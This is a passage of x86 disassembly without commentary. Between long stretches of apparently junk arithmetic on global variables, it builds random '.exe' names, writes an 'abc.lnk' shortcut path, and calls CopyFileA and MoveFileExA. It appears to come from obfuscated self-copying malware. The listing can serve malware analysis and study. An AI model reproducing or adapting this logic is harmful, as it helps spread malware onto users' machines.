add eax, edx
sub esi, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0b8]
imul edx, edx, 0x106d4
sub esi, ecx
mov ecx, dword [str._r_____r____]
add esi, edx
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0bc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
imul ecx, ecx, 0x1fe7c
lea edx, [esi + ecx - 0x17928]
lea eax, [esp + 0x720]
mov dword [0x43c0b0], edx
lea ecx, [eax + 1]
jmp 0x405e50
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405e50
sub eax, ecx
push str..exe
push 0
mov esi, eax
call fcn.004168ed
cdq
mov ecx, 0x1a
idiv ecx
add esp, 4
add edx, 0x61
push edx
lea edx, [esp + esi + 0x724]
push str._c_s
push edx
call fcn.0041681b
add esp, 0x10
push 0
lea eax, [esp + 0x724]
push eax
lea ecx, [esp + 0xe28]
push ecx
call edi
test eax, eax
je 0x40629e
mov ecx, dword [0x43c0bc]
mov edx, dword [0x43c0b8]
mov eax, dword [0x43c0b0]
mov edi, dword [0x43c0c0]
sub edx, ecx
imul ecx, ecx, 0xff3e
lea ebx, [edx + eax + 1]
mov esi, dword [0x43c0ac]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
mov esi, dword [0x43c0c4]
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul edi
sar edx, 0xe
add ecx, esi
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
add eax, ecx
mov dword [0x43c0ac], eax
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0xa20]
rep stosd dword es:[edi], eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x320]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x405f50
lea ecx, [esp + 0x20]
push 0x5c
push ecx
call fcn.00416170
add esp, 8
test eax, eax
je 0x405f9a
inc eax
push 0x5c
push eax
call fcn.00416170
add esp, 8
test eax, eax
je 0x405f9a
mov edx, dword [str.abc.lnk]
mov dword [eax + 1], edx
mov ecx, dword [0x431eb8]
mov dword [eax + 5], ecx
jmp 0x40605e
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0b8]
mov edi, dword [0x43c0bc]
sub edi, esi
imul edi, edi, 0xff3e
mov eax, 0x15b86ecf
imul ecx
imul ecx, ecx, 0x107d6
sar edx, 0xd
add edi, edx
mov ebx, edx
mov eax, 0x15b86ecf
imul esi
mov esi, dword [0x43c0b4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x15b86ecf
imul esi
imul esi, esi, 0x106d5
sar edx, 0xd
mov edi, edx
add ebx, edx
mov edx, dword [0x43c0c0]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c8]
imul edx, edx, 0x8386f
shr edi, 0x1f
add edi, ebx
sub edi, eax
add edi, edx
add edi, ecx
push 3
lea ecx, [esp + 0x324]
push ecx
lea edx, [esp + 0x28]
lea eax, [edi + esi + 0x79ea]
push edx
mov dword [0x43c0c8], eax
call fcn.00416930
mov eax, dword [str.abc.lnk]
mov ecx, dword [0x431eb8]
add esp, 0xc
mov dword [esp + 0x23], eax
mov dword [esp + 0x27], ecx
push 0
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x328]
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4060bd
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x924]
push edx
lea eax, [esp + 0x728]
push eax
lea ecx, [esp + 0xa2c]
push ecx
lea edx, [esp + 0x530]
push edx
lea eax, [esp + 0x334]
push eax
push 0
call fcn.00403970
add esp, 0x1c
mov esi, eax
jmp 0x4061c8
mov esi, dword [str._r_____r____]
mov ecx, dword [0x43c0b0]
lea edi, [esi + ecx]
mov ecx, dword [0x43c0c8]
imul edi, edi, 0x17928
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [0x43c0c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0c4]
imul edx, edx, 0x8386f
sub edi, ecx
mov ecx, dword [0x43c0b8]
add edi, edx
mov eax, 0x7c32ca05
imul ecx
sar edx, 0xf
mov ebx, edx
add edi, edx
mov edx, dword [0x43c0bc]
mov eax, ecx
imul edx, edx, 0x796
imul eax, eax, 0x107d6
shr ebx, 0x1f
add ebx, edi
add ebx, eax
sub ebx, edx
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
lea edx, [ecx + ebx - 0x107d6]
lea eax, [esp + 0xc]
push eax
mov dword [0x43c0c4], edx
lea ecx, [esp + 0x924]
push ecx
lea edx, [esp + 0x728]
push edx
lea eax, [esp + 0xa2c]
push eax
lea ecx, [esp + 0x530]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
call fcn.00403970
mov esi, eax
mov eax, dword [esp + 0x28]
add esp, 0x1c
cmp eax, 1
jne 0x4061c8
push 1
lea eax, [esp + 0x324]
push eax
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test esi, esi
jl 0x4061e4
mov eax, 1
mov ecx, dword [esp + 0x1024]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
mov ecx, dword [0x43c0c8]
lea esi, [eax + edx]
imul esi, esi, 0x17928
mov eax, 0x15b86ecf
imul ecx
sar edx, 0xd
add esi, edx
mov edi, edx
mov edx, dword [0x43c0c4]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c0]
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
mov esi, dword [0x43c0bc]
imul edx, edx, 0x94045
sub edi, eax
imul esi, esi, 0xff3e
add edi, edx
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0cc]
sub edi, eax
add esi, edx
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, edi
lea edx, [ecx + esi - 0x84107]
mov dword [str._r_____r____], edx
xor eax, eax
mov ecx, dword [esp + 0x1024]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1024]
mov eax, dword [esp + 0x1c]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret